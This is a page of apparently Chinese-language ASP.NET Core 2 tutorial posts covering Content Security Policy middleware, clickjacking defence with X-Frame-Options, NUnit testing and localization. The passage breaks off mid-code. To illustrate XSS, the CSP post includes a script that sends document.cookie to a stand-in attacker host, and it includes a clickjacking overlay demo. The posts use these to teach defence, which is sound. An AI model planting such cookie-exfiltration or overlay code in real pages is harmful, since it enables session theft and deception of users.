[鐵人賽 Day27] ASP.NET Core 2 系列 – 網頁內容安全政策 (Content Security Policy)

跨網站腳本 (Cross-Site Scripting, XSS) 攻擊是常見的攻擊手法,有效的阻擋方式是透過網頁內容安全政策 (Content Security Policy, CSP) 規範,告知瀏覽器發出的 Request 位置是否受信任,阻擋非預期的對外連線,加強網站安全性。
本篇將介紹 ASP.NET Core 自製 CSP Middleware 防止 XSS 攻擊。
另外,做範例的過程中,剛好發現 iT 邦幫忙 沒有擋 Clickjacking,所以就順便補充。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day27] ASP.NET Core 2 系列 – 網頁內容安全政策 (Content Security Policy)

XSS 介紹

攻擊者可能透過任何形式的漏洞,在網站中安插惡意的程式碼,例如:

1
2
3
4
5
<script>
    var req = new XMLHttpRequest();
    req.open("GET", "https://attacker.johnwu.cc?cookie="+document.cookie);
    req.send();
</script>

當使用者開啟頁面,Cookie 就被送走了。情境如下:

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - XSS 介紹

CSP 介紹

CSP 是瀏覽器提供網站設定白名單的機制,網站可以告知瀏覽器,該網頁有哪些位置可以連、哪些位置不能連。現行大部分的瀏覽器都有支援 CSP,可以從 Can I use Content Security Policy 查看支援的瀏覽器及版本。

CSP 的設定方式有兩種:

  1. HTTP Header 加入 Content-Security-Policy: {Policy}
    當有不符合安全政策的情況,瀏覽器就會提報錯誤, 並終止該行為執行
  2. HTTP Header 加入 Content-Security-Policy-Report-Only: {Policy}
    當有不符合安全政策的情況,瀏覽器就會提報錯誤, 但會繼續執行 。

    主要用於測試用,怕網站直接套上 CSP 導致功能不正常。

  3. HTML 加入 <meta>
    在 HTML <head> 區塊加入 <meta http-equiv="Content-Security-Policy" content="{Policy}">
    當有不符合安全政策的情況,瀏覽器就會提報錯誤, 並終止該行為執行

    <meta> 的方式不支援 Report-Only 的方式。

CSP 範例

建立一個簡單的範例 HTML,分別載入內外部資源,如下:

Views/Home/Index.cshtml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<!DOCTYPE html>
<html>

<head>
    <meta name="viewport" content="width=device-width" />
    <title>CSP Sample</title>

    <link rel="stylesheet" href="/css/fonts.css?csp-sample" />
    <link rel="stylesheet" href="https://blog.johnwu.cc/css/fonts.css?csp-sample" />
</head>

<body>
    <h1>CSP Sample</h1>
    <table>
        <tr>
            <th>類別</th>
            <th>內部資源</th>
            <th>外部資源</th>
        </tr>
        <tr>
            <td>圖片</td>
            <td>
                <img width="100" src="/images/icon.png?csp-sample" />
            </td>
            <td>
                <img width="100" src="https://blog.johnwu.cc/images/icon.png?csp-sample" />
            </td>
        </tr>
        <tr>
            <td>IFrame</td>
            <td>
                <iframe width="180" height="180" src="/home/iframe?csp-sample"></iframe>
            </td>
            <td>
                <iframe width="180" height="180" src="https://ithelp.ithome.com.tw?csp-sample"></iframe>
            </td>
        </tr>
    </table>
    <script src="/js/jquery-2.2.4.min.js?csp-sample"></script>
    <script src="https://blog.johnwu.cc/js/lib/jquery-2.2.4.min.js?csp-sample"></script>
</body>

</html>

在未使用 CSP 前,內容都是可以正常顯示,輸出畫面如下:

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - 未使用 CSP 範例

在 Startup.Configure 註冊一個 Pipeline,把每個 Requset 都加上 CSP 的 HTTP Header,如下:

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
using Microsoft.AspNetCore.Builder;
using Microsoft.Extensions.DependencyInjection;

namespace MyWebsite
{
    public class Startup
    {
        public void ConfigureServices(IServiceCollection services)
        {
            services.AddMvc();
        }

        public void Configure(IApplicationBuilder app)
        {
            app.Use(async (context, next) =>
            {
                context.Response.Headers.Add(
                    "Content-Security-Policy",
                    "style-src https:; img-src 'self'; frame-src 'none'; script-src 'self';"
                );
                await next();
            });
            app.UseStaticFiles();
            app.UseMvcWithDefaultRoute();
        }
    }
}

套用 CSP 後,輸出畫面如下:

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - 使用 CSP 範例

CSP 指令 (Directives)

上圖套用 CSP 後,連內部的 IFrame 都不顯示,主要是因為 CSP 指令的關係。
CSP 指令可以限制發出 Request 獲取資源的類型以及位置,指令的使用格式如下:

1
2
Response Headers
  Content-Security-Policy: {CSP 指令} {位置}; {CSP 指令} {位置} {..位置..} {位置};

以 ; 區分多個指令,以空格區分多個白名單位置。

常用的 CSP 指令如下:

  • default-src
    預設所有類型的載入都使用這個規則。
  • connect-src
    載入 Ajax、Web Socket 套用的規則。
  • font-src
    載入字型套用的規則。
  • frame-src
    載入 IFrame 套用的規則。
  • img-src
    載入圖片套用的規則。
  • media-src
    載入影音標籤套用的規則。如:<audio><video>等。
  • object-src
    載入非影音標籤物件套用的規則。如:<object><embed><applet>等。
  • script-src
    載入 JavaScript 套用的規則。
  • style-src
    載入 Stylesheets (CSS) 套用的規則。
  • report-uri
    當瀏覽器發現 CSP 安全性問題時,就會提報錯誤給 report-uri 指定的網址。
    若使用 Content-Security-Policy-Report-Only 就需要搭配 report-uri

    強烈建議使用回報功能,當被 XSS 攻擊時才會知道。

其他 CSP 指令可以參考 W3C 的 CSP 規範

每個 CSP 指令可以限制一個或多個能發出 Request 的位置,設定參數如下:

  • *
    允許對任何位置發出 Request。
    如:default-src *;,允許載入來自任何地方、任何類型的資源。
  • 'none'
    不允許對任何位置發出 Request。
    如:media-src 'none';,不允許載入影音標籤。
  • 'self' 只允許同網域的位置發出 Request。
    如:script-src 'self';,只允許載入同網域的 *.js
  • URL
    指定允許發出 Request 的位置,可搭配 * 使用。
    如:img-src http://cdn.johnwu.cc https:;,只允許從 http://cdn.johnwu.cc 或其他 HTTPS 的位置載入 *.css

建立 CSP Middleware

上述 CSP 套用在 Header 的格式實在很容易打錯字,而且又是弱型別,日後實在不易維護。
所以可以自製一個 CSP Middleware 來包裝這 CSP,方便日後使用。

把 CSP 指令都變成強行別,如下:

  • CspDirective.cs
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    public class CspDirective
    {
        private readonly string _directive;
    
        internal CspDirective(string directive)
        {
            _directive = directive;
        }
        private List<string> _sources { get; set; } = new List<string>();
        public virtual CspDirective AllowAny() => Allow("*");
        public virtual CspDirective Disallow() => Allow("'none'");
        public virtual CspDirective AllowSelf() => Allow("'self'");
        public virtual CspDirective Allow(string source)
        {
            _sources.Add(source);
            return this;
        }
        public override string ToString() => _sources.Count > 0
            ? $"{_directive} {string.Join(" ", _sources)}; " : "";
    }
  • CspOptions.cs
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    public class CspOptions
    {
        public bool ReadOnly { get; set; }
        public CspDirective Defaults { get; set; } = new CspDirective("default-src");
        public CspDirective Connects { get; set; } = new CspDirective("connect-src");
        public CspDirective Fonts { get; set; } = new CspDirective("font-src");
        public CspDirective Frames { get; set; } = new CspDirective("frame-src");
        public CspDirective Images { get; set; } = new CspDirective("img-src");
        public CspDirective Media { get; set; } = new CspDirective("media-src");
        public CspDirective Objects { get; set; } = new CspDirective("object-src");
        public CspDirective Scripts { get; set; } = new CspDirective("script-src");
        public CspDirective Styles { get; set; } = new CspDirective("style-src");
        public string ReportURL { get; set; }
    }

然後建立 CSP 的 Middleware,如下:

CspMiddleware.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class CspMiddleware
{
    private readonly RequestDelegate _next;
    private readonly CspOptions _options;

    public CspMiddleware(RequestDelegate next, CspOptions options)
    {
        _next = next;
        _options = options;
    }

    private string Header => _options.ReadOnly
        ? "Content-Security-Policy-Report-Only" : "Content-Security-Policy";

    private string HeaderValue
    {
        get 
        {
          var stringBuilder = new StringBuilder();
          stringBuilder.Append(_options.Defaults);
          stringBuilder.Append(_options.Connects);
          stringBuilder.Append(_options.Fonts);
          stringBuilder.Append(_options.Frames);
          stringBuilder.Append(_options.Images);
          stringBuilder.Append(_options.Media);
          stringBuilder.Append(_options.Objects);
          stringBuilder.Append(_options.Scripts);
          stringBuilder.Append(_options.Styles);
          if (!string.IsNullOrEmpty(_options.ReportURL))
          {
              stringBuilder.Append($"report-uri {_options.ReportURL};");
          }
          return stringBuilder.ToString();
        }
    }
    
    public async Task Invoke(HttpContext context)
    {
        context.Response.Headers.Add(Header, HeaderValue);
        await _next(context);
    }
}

再用一個靜態方法包 CSP Middleware,方便註冊使用,如下:

CspMiddlewareExtensions.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
public static class CspMiddlewareExtensions
{
    public static IApplicationBuilder UseCsp(this IApplicationBuilder app, CspOptions options)
    {
        return app.UseMiddleware<CspMiddleware>(options);
    }
    public static IApplicationBuilder UseCsp(this IApplicationBuilder app, Action<CspOptions> optionsDelegate)
    {
        var options = new CspOptions();
        optionsDelegate(options);
        return app.UseMiddleware<CspMiddleware>(options);
    }
}

把原本註冊在 Startup.Configure 的 Pipeline 改成用 UseCsp 註冊,如下:

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
using Microsoft.AspNetCore.Builder;
using Microsoft.Extensions.DependencyInjection;

namespace MyWebsite
{
    public class Startup
    {
        public void ConfigureServices(IServiceCollection services)
        {
            services.AddMvc();
        }

        public void Configure(IApplicationBuilder app)
        {
            // app.Use(async (context, next) =>
            // {
            //     context.Response.Headers.Add(
            //         "Content-Security-Policy",
            //         "style-src https:; img-src 'self'; frame-src 'none'; script-src 'self';"
            //     );
            //     await next();
            // });
            app.UseCsp(options =>
            {
                options.Styles.Allow("https:");
                options.Images.AllowSelf();
                options.Frames.Disallow();
                options.Scripts.AllowSelf();
            });
            app.UseStaticFiles();
            app.UseMvcWithDefaultRoute();
        }
    }
}

一樣的 CSP 規則,強行別的註冊方式看起來感覺清爽多了。

Clickjacking 攻擊

Clickjacking 是一種透過 IFrame 的偽裝攻擊方式。
攻擊者可以透過嵌入被攻擊目標網頁,偽裝成目標網頁,進而攔截使用者的資料。如下圖:

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - Clickjacking 攻擊

紅色框現內的 IFrame 用 iT 邦幫忙 的頁面,然後在 Main Frame 透過 JavaScript 攔截使用者的操作事件,範例程式碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<head>
    <meta name="viewport" content="width=device-width" />
    <title>Clickjacking Sample</title>
    <style>
        iframe {
            width: 98%;
            height: 75%;
        }

        .cover {
            position: absolute;
            top: 65px;
            width: 98%;
            height: 75%;
            background-color: rgba(255, 0, 0, .3);
        }
    </style>
    <script>
        var doSomething = function () {
            alert("你以為你在點誰?");
        };
    </script>
</head>

<body>
    <h1>Clickjacking Sample</h1>
    <div class="cover" onclick="doSomething();"></div>
    <iframe src="https://ithelp.ithome.com.tw/"></iframe>
</body>

</html>

當使用者以為點擊到被攻擊目標,實際上點到的是偽裝的網站,如圖:

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - Clickjacking 攻擊

X-Frame-Options

Clickjacking 攻擊可以透過 CSP 的 frame-ancestors 防範,但似乎還不是所有瀏覽器都支援 frame-ancestors,較通用的方式是在 HTTP Header 加上 X-Frame-Options,通知瀏覽器該頁面是否能被當作 IFrame 使用。
延伸上面 CSP Middleware 的範例,建立一個 FrameOptionsDirective.cs 繼承 CspDirective,如下:

FrameOptionsDirective.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class FrameOptionsDirective : CspDirective
{
    public FrameOptionsDirective() : base("frame-ancestors")
    {

    }
    public string XFrameOptions { get; private set; }
    public override CspDirective AllowAny()
    {
        XFrameOptions = "";
        return base.AllowAny();
    }
    public override CspDirective Disallow()
    {
        XFrameOptions = "deny";
        return base.Disallow();
    }
    public override CspDirective AllowSelf()
    {
        XFrameOptions = "sameorigin";
        return base.AllowSelf();
    }
    public override CspDirective Allow(string source)
    {
        XFrameOptions = $"allow-from {source}";
        return base.Allow(source);
    }
}

CspOptions.cs

1
2
3
4
5
public class CspOptions
{
    // ...
    public FrameOptionsDirective FrameAncestors { get; set; } = new FrameOptionsDirective();
}

CspMiddleware.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class CspMiddleware
{
    private string HeaderValue
    {
        get
        {
            // ...
            stringBuilder.Append(_options.FrameAncestors);
            return stringBuilder.ToString();
        }
    }

    public async Task Invoke(HttpContext context)
    {
        context.Response.Headers.Add(Header, HeaderValue);
        if (!string.IsNullOrEmpty(_options.FrameAncestors.XFrameOptions))
        {
            context.Response.Headers.Add("X-Frame-Options", _options.FrameAncestors.XFrameOptions);
        }
        await _next(context);
    }
}

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
public class Startup
{
    public void Configure(IApplicationBuilder app)
    {
        app.UseCsp(options =>
        {
            // ...
            options.FrameAncestors.Allow("https://blog.johnwu.cc");
        });
        // ...
    }
}

X-Frame-Options 不支援多個網域,如果要設定多個網域,建議搭配著 CSP 的 frame-ancestors 使用。

設定完成後,當被未允許的 Domain 嵌入為 IFrame 頁面時,瀏覽器就提報錯誤。
把上面範例程式碼的 IFrame URL 改為 https://www.google.com.tw/
Google 有設定 X-Frame-Options 為 sameorigin ,所以會產生錯誤訊息,如下:

Refused to display ‘https://www.google.com.tw/‘ in a frame because it set ‘X-Frame-Options’ to ‘sameorigin’.

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - X-Frame-Options

參考

USING CSP HEADER IN ASP.NET CORE 2.0
Content Security Policy Level 3
Content-Security-Policy – HTTP Headers 的資安議題 (2)
[翻譯] 我是這樣拿走大家網站上的信用卡號跟密碼的(推薦閱讀)

[鐵人賽 Day25] ASP.NET Core 2 系列 – 單元測試 (NUnit)

.NET Core 的單元測試框架有支援 xUnit、NUnit 及 MSTest,官方是比較推薦用 xUnit,但 NUnit 似乎比較受 .NET 工程師歡迎,我個人也是比較愛用 NUnit。
本篇將介紹 ASP.NET Core 搭配 NUnit 單元測試框架及如何用 Visual Studio Code (VS Code) 呈現視覺化測試結果。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day25] ASP.NET Core 2 系列 – 單元測試 (NUnit)

建立方案

之前的範例都只有一個 Web 專案,由於要增加測試專案的關係,檔案的目錄結構建議異動成以下架構:

1
2
3
MyWebsite/                        # 方案資料夾
  MyWebsite/                      # Web 專案目錄
  MyWebsite.Tests/                # 單元測試專案目錄

若要透過 .NET Core CLI 建立 NUnit 樣板專案,需要先安裝 NUnit 的樣板專案,指令如下:

1
dotnet new --install NUnit3.DotNetNew.Template

跟著以下步驟建立整個方案:

1
2
3
4
5
6
mkdir MyWebsite
cd MyWebsite
# 建立 Web 樣板專案
dotnet new web --name MyWebsite
# 建立 NUnit 樣板專案
dotnet new nunit --name MyWebsite.Tests

[鐵人賽 Day25] ASP.NET Core 2 系列 - 單元測試 (NUnit) - 建立方案

包含 Web 專案及 NUnit 專案的方案內容如下:

[鐵人賽 Day25] ASP.NET Core 2 系列 - 單元測試 (NUnit) - 方案內容

執行測試

NUnit 樣板專案會預帶一個 UnitTest1.cs 做為單元測試的範例,可以透過 .NET Core CLI 執行測試,指令如下:

1
2
# dotnet test <測試專案名稱>
dotnet test MyWebsite.Tests

[鐵人賽 Day25] ASP.NET Core 2 系列 - 單元測試 (NUnit) - 執行測試

測試案例

被測試的目標以[鐵人賽 Day24] ASP.NET Core 2 系列 – Entity Framework Core文中的 Repository Pattern 的 Controllers/UserController.cs 做為範例。
由於測試專案 MyWebsite.Tests 會參考到 MyWebsite 專案,所以要在 MyWebsite.Tests 加入對 MyWebsite 的參考,透過 .NET Core CLI 加入參考的指令如下:

1
2
# dotnet add <專案名稱> reference <被參考專案的 csproj 檔>
dotnet add MyWebsite.Tests reference MyWebsite\MyWebsite.csproj

被測試的目標會需要用到 Mock Framework,我慣用的 Mock Framework 是 NSubstitute,所以會以 NSubstitute 為 Mock 範例,安裝指令:

1
dotnet add MyWebsite.Tests package NSubstitute

在 MyWebsite.Tests 專案新增 Controllers\UserControllerTests.cs,測試案例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
using System;
using System.Collections.Generic;
using System.Linq.Expressions;
using MyWebsite.Controllers;
using MyWebsite.Repositories;
using NSubstitute;
using NUnit.Framework;

namespace MyWebsite.Tests.Controllers
{
    public class UserControllerTests
    {
        private IRepository<UserModel, int> _fakeRepository;
        private UserController _target;

        [SetUp]
        public void SetUp()
        {
            _fakeRepository = Substitute.For<IRepository<UserModel, int>>();
            _target = new UserController(_fakeRepository);
        }

        [Test]
        public void SearchUser()
        {
            // Arrange
            var query = "test";
            var model = new UserModel { Id = 1 };
            _fakeRepository.Find(Arg.Any<Expression<Func<UserModel, bool>>>())
                .Returns(new List<UserModel> { model });

            // Act
            var actual = _target.Get(query);

            // Assert
            Assert.IsTrue(actual.IsSuccess);
        }

        [Test]
        public void GetUser()
        {
            // Arrange
            var model = new UserModel { Id = 1 };
            _fakeRepository.FindById(Arg.Any<int>()).Returns(model);

            // Act
            var actual = _target.Get(model.Id);

            // Assert
            Assert.IsTrue(actual.IsSuccess);
        }

        [Test]
        public void CreateUser()
        {
            // Arrange
            var model = new UserModel();

            // Act
            var actual = _target.Post(model);

            // Assert
            Assert.IsTrue(actual.IsSuccess);
        }

        [Test]
        public void UpdateUser()
        {
            // Arrange
            var model = new UserModel { Id = 1 };

            // Act
            var actual = _target.Put(model.Id, model);

            // Assert
            Assert.IsTrue(actual.IsSuccess);
        }

        [Test]
        public void DeleteUser()
        {
            // Arrange
            var model = new UserModel { Id = 1 };

            // Act
            var actual = _target.Delete(model.Id);

            // Assert
            //Assert.IsTrue(actual.IsSuccess);
            Assert.Fail();
        }
    }
}

測試結果如下:

[鐵人賽 Day25] ASP.NET Core 2 系列 - 單元測試 (NUnit) - 測試結果

Visual Studio Code

每次要測試都要打指令,顯得有點麻煩,而且透過指令執行顯示的測試結果,以純文字顯示也不怎麼好看。
VS Code 有測試專案用的擴充套件,可以直接在程式碼中看到那些測試案例成功或失敗。

打開 VS Code 在 Extensions 搜尋列輸入 test ,便可以找到 .NET Core Test Explorer 的擴充套件安裝。如下圖:

[鐵人賽 Day25] ASP.NET Core 2 系列 - 單元測試 (NUnit) - .NET Core Test Explorer

安裝完成後在方案資料夾下的 .vscode\settings.json 新增 dotnet-test-explorer.testProjectPath 指定測試專案位置,如下:

.vscode\settings.json

1
2
3
{
    "dotnet-test-explorer.testProjectPath": "MyWebsite.Tests"
}

就可以透過 VS Code UI 執行單元測試,並且能在程式碼中看到那些測試案例成功或失敗。如下:

[鐵人賽 Day25] ASP.NET Core 2 系列 - 單元測試 (NUnit) - .NET Core Test Explorer

參考

Unit Testing in .NET Core and .NET Standard

[鐵人賽 Day21] ASP.NET Core 2 系列 – 多國語言 (Localization)

全球化的網站不免都要做多國語言,ASP.NET Core 的多國語言設定方式跟 ASP.NET MVC 有很大的落差。
本篇將介紹 ASP.NET Core 多國語言 (Localization) 的設定方式。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day21] ASP.NET Core 2 系列 – 多國語言 (Localization)

建立多國語言檔

過去 ASP.NET 語系檔都是用 *.resx 格式,現在 ASP.NET Core 也是沿用此格式,但檔案結構確很不一樣。ASP.NET Core 語系檔命名規則必須要與類別的 namespace 階層相互對應。例如 Controllers、Views、Models 要用的語系檔跟類別對應如下:

  • Controllers\HomeController.cs 要用的 en-GB 語系檔名稱:
    • Resources\Controllers\HomeController.en-GB.resx
    • 或 Resources\Controllers.HomeController.en-GB.resx
  • Controllers\HomeController.cs 要用的 zh-TW 語系檔名稱:
    • Resources\Controllers\HomeController.zh-TW.resx
    • 或 Resources\Controllers.HomeController.zh-TW.resx
  • Views\Home\Index.cshtml 要用的 en-GB 語系檔名稱:
    • Resources\Views\Home\Index.en-GB.resx
    • 或 Resources\Views.Home.Index.en-GB.resx
  • Views\Home\Index.cshtml 要用的 zh-TW 語系檔名稱:
    • Resources\Views\Home\Index.zh-TW.resx
    • 或 Resources\Views.Home.Index.zh-TW.resx

多國語言檔建立規則跟 ASP.NET MVC 有很大的差別。

  • *.resx 檔案必須對應使用的路徑位置。
  • *.resx 檔案的語系帶在後綴。如:*.en-GB.resx

*.resx 語系檔內容大致如下:

Resources\Controllers.HomeController.en-GB.resx

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<root>
  <data name="Hello">
    <value>Hello~ This message from Resources\Controllers.HomeController.en-GB.resx</value>
  </data>
</root>

若以 Visual Studio IDE 開發 (如 Visual Studio 2017),可以從 UI 新增資源檔 *.resx。在網站目錄中建立 Resources 的資料夾,並新增資源檔 *.resx。如下:

[鐵人賽 Day21] ASP.NET Core 2 系列 - 多國語言 (Localization) - 新增資源檔 1

[鐵人賽 Day21] ASP.NET Core 2 系列 - 多國語言 (Localization) - 新增資源檔 2

註冊服務

ASP.NET Core 使用多國語言,需要 Microsoft.AspNetCore.Localization 套件。
在此範例中我還需要從 Routing 抓取語系的資訊,所以也需要 Microsoft.AspNetCore.Localization.Routing 套件。
透過 .NET Core CLI 在專案資料夾執行安裝指令:

1
2
dotnet add package Microsoft.AspNetCore.Localization
dotnet add package Microsoft.AspNetCore.Routing

ASP.NET Core 2.0 以上版本,預設是參考 Microsoft.AspNetCore.All,已經包含 Microsoft.AspNetCore.Localization 及 Microsoft.AspNetCore.Routing,所以不用再安裝。

在 Startup.ConfigureServices 註冊多國語言需要的服務,以及修改多國語的 Routing 方式。如下:

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Mvc.Razor;
using Microsoft.Extensions.DependencyInjection;

namespace MyWebsite
{
    public class Startup
    {
        public void ConfigureServices(IServiceCollection services)
        {
            services.AddLocalization(options => options.ResourcesPath = "Resources");
            services.AddMvc()
                    .AddViewLocalization()
                    .AddDataAnnotationsLocalization();
        }

        public void Configure(IApplicationBuilder app)
        {
            app.UseMvc(routes =>
            {
                routes.MapRoute(
                    name: "default",
                    template: "{culture=en-GB}/{controller=Home}/{action=Index}/{id?}"
                );
            });
        }
    }
}
  • AddLocalization
    主要的多國語言服務,ResourcesPath 是指定資源檔的目錄位置
  • AddViewLocalization
    為了在 cshtml 中使用多國語言,如果沒有需要在 View 中使用多國語言,可以不需要註冊它。
  • AddDataAnnotationsLocalization
    為了在 Model 中使用多國語言,如果沒有需要在 Model 中使用多國語言,可以不需要註冊它。
  • MapRoute
    在 Routing 中增加 culture 語系資訊,用來判斷多國語言。

    如果不想用 Routing 的方式,也可以改用 QueryString 帶入語系資訊。

Middleware

建立一個 CultureMiddleware 來包裝 Localization 的 Middleware,可以做支援語言的管理。

Middlewares\CultureMiddleware.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Localization;
using Microsoft.AspNetCore.Localization.Routing;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;

namespace MyWebsite.Middlewares
{
    public class CultureMiddleware
    {
        private static readonly List<CultureInfo> _supportedCultures = new List<CultureInfo>
        {
            new CultureInfo("en-GB"),
            new CultureInfo("zh-TW")
        };

        private static readonly RequestLocalizationOptions _localizationOptions = new RequestLocalizationOptions()
        {
            DefaultRequestCulture = new RequestCulture(_supportedCultures.First()),
            SupportedCultures = _supportedCultures,
            SupportedUICultures = _supportedCultures,
            RequestCultureProviders = new[]
            {
                new RouteDataRequestCultureProvider() { Options = _localizationOptions }
            }
        };

        public void Configure(IApplicationBuilder app)
        {
            app.UseRequestLocalization(_localizationOptions);
        }
    }
}

每個 Requset 都會執行 RequestCultureProviders 中的 CultureProvider,用來判斷語系資訊,套用正確的資源檔。
Microsoft.AspNetCore.Localization 套件支援的 CultureProvider 有三種:

  • QueryStringRequestCultureProvider
    從 QueryString 判斷語系資訊。如:http://localhost:500/?culture=zh-TW
  • CookieRequestCultureProvider
    從 Cookie 判斷語系資訊。
  • AcceptLanguageHeaderRequestCultureProvider
    從 HTTP Header 判斷語系資訊。

而我是用 Routing 判斷語系資訊,以上三種都不合我用。
Routing 判斷語系可以用 Microsoft.AspNetCore.Localization.Routing 套件的 RouteDataRequestCultureProvider

把 CultureMiddleware 註冊在需要用到的 Controller 或 Action。如下:

Controllers\HomeController.cs

1
2
3
4
5
[MiddlewareFilter(typeof(CultureMiddleware))]
public class HomeController : Controller
{
    // ...
}

通常 ASP.NET Core 網站會伴隨著 API,API 不需要語系資訊,所以不建議註冊在全域。

套用多國語言

Controller

在 Controller 要使用多國語言的話,需要在建構子加入 IStringLocalizer 參數,執行期間會把 _localizer 的實體注入近來。
把 Resource Key 丟入 _localizer,就可以得到該語系的值。

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
using System.Globalization;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Localization;
using MyWebsite.Middlewares;

namespace MyWebsite
{
    [MiddlewareFilter(typeof(CultureMiddleware))]
    public class HomeController : Controller
    {
        private readonly IStringLocalizer _localizer;

        public HomeController(IStringLocalizer<HomeController> localizer)
        {
            _localizer = localizer;
        }

        public IActionResult Index()
        {
            return View();
        }

        public IActionResult Content()
        {
            return Content($"CurrentCulture: {CultureInfo.CurrentCulture.Name}\r\n"
                         + $"CurrentUICulture: {CultureInfo.CurrentUICulture.Name}\r\n"
                         + $"{_localizer["Hello"]}");
        }
    }
}

View

要在 cshtml 使用多國語言的話,要先在 Services 中加入 ViewLocalization
注入 IViewLocalizer,同上把 Resource Key 丟入 Localizer,就可以得到值。

Views\Home\Index.cshtml

1
2
3
4
5
6
7
8
@using System.Globalization
@using Microsoft.AspNetCore.Mvc.Localization

@inject IViewLocalizer localizer

CurrentCulture: @CultureInfo.CurrentCulture.Name <br />
CurrentUICulture: @CultureInfo.CurrentUICulture.Name <br />
@localizer["Hello"]<br />

Model

要在 Model 使用多國語言的話,要先在 Services 中加入 DataAnnotationsLocalization

Models\SampleModel.cs

1
2
3
4
5
6
7
8
9
10
using System.ComponentModel.DataAnnotations;

namespace MyWebsite.Models
{
    public class SampleModel
    {
        [Display(Name = "Hello")]
        public string Content { get; set; }
    }
}

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
// ...
[MiddlewareFilter(typeof(CultureMiddleware))]
public class HomeController : Controller
{
    public IActionResult Index()
    {
        return View(model: new SampleModel());
    }
}

Views\Home\Index.cshtml

1
2
3
4
5
6
7
8
@using System.Globalization
@using MyWebsite.Models

@model SampleModel

CurrentCulture: @CultureInfo.CurrentCulture.Name <br />
CurrentUICulture: @CultureInfo.CurrentUICulture.Name <br />
@Html.DisplayNameFor(m => m.Content)<br />

執行結果

[鐵人賽 Day21] ASP.NET Core 2 系列 - 多國語言 (Localization) - 範例執行結果

共用語系檔

ASP.NET Core 語系檔命名規則為了與 Controllers、Views、Models 相互對應,可能會產生一大堆檔案,造成維護上的困擾。 因此,可以利用 ASP.NET Core DI 的特性,建立一個共用的語系檔,再將該語系資訊注入至 DI 容器。

建立共用的語系檔 Resources\SharedResource.en-GB.resx,同時建立一個對應的 SharedResource.cs 檔案,內容如下:

Resources\SharedResource.en-GB.resx

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<root>
  <data name="Hello">
    <value>Hello~ This message from Resources\SharedResource.en-GB.resx</value>
  </data>
</root>

SharedResource.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
using Microsoft.Extensions.Localization;

namespace MyWebsite
{
    public class SharedResource
    {
        private readonly IStringLocalizer _localizer;

        public SharedResource(IStringLocalizer<SharedResource> localizer)
        {
            _localizer = localizer;
        }
    }
}

Controller

IStringLocalizer 注入的型別改成 SharedResource,如下:

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
using System.Globalization;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Localization;
using MyWebsite.Middlewares;
using MyWebsite.Models;

namespace MyWebsite
{
    [MiddlewareFilter(typeof(CultureMiddleware))]
    public class HomeController : Controller
    {
        private readonly IStringLocalizer _localizer;
        private readonly IStringLocalizer _sharedLocalizer;

        public HomeController(IStringLocalizer<HomeController> localizer,
            IStringLocalizer<SharedResource> sharedLocalizer)
        {
            _localizer = localizer;
            _sharedLocalizer = sharedLocalizer;
        }

        public IActionResult Index()
        {
            return View(model: new SampleModel());
        }

        public string Content()
        {
            return $"CurrentCulture: {CultureInfo.CurrentCulture.Name}\r\n"
                 + $"CurrentUICulture: {CultureInfo.CurrentUICulture.Name}\r\n"
